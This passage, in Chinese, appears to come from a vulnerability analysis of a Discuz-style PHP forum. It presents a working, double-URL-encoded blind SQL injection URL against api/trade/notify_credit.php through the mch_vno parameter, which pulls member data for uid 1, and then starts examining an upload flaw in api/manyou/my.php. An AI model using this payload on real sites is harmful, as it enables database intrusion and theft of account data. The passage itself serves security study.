由于该注入过程中没有显错信息,只能利用盲注来进行密码的猜解,为了达到更好地演示效果,我们这里将最终带入数据库的SQL语句显示出来,在source/class/class_core.php的663行中,进行如下修改:

构造的Sql_Exp:
api/trade/notify_credit.php?attach=tenpay&retcode=0&mch_vno=%2527%2Band%2B%25271%2527%253D%25272%2527%2BUNION%2BSELECT%2B0%252C1%252C0%252C0%252C0%252C0%252C0%252C0%252C0%252C0%2BFROM%2Bpre_common_member_field_home%2BWHERE%2Buid%253D1%2BAND%2B%2527%2527%253D%2527&sign=233afe848a5d4b994871dad94901fd4e
在本地演示的效果如下:

显然我们已经成功的控制参数mch_vno,并能产生明显的SQL注入攻击。
下面我们来看看/api/manyou/my.php的上传漏洞:

在my.php中,首选创建一个继承Manyou的类My,然后创建一个My的实例,接着调用Manyou父类的run()函数,我们跟进run()函数查看:
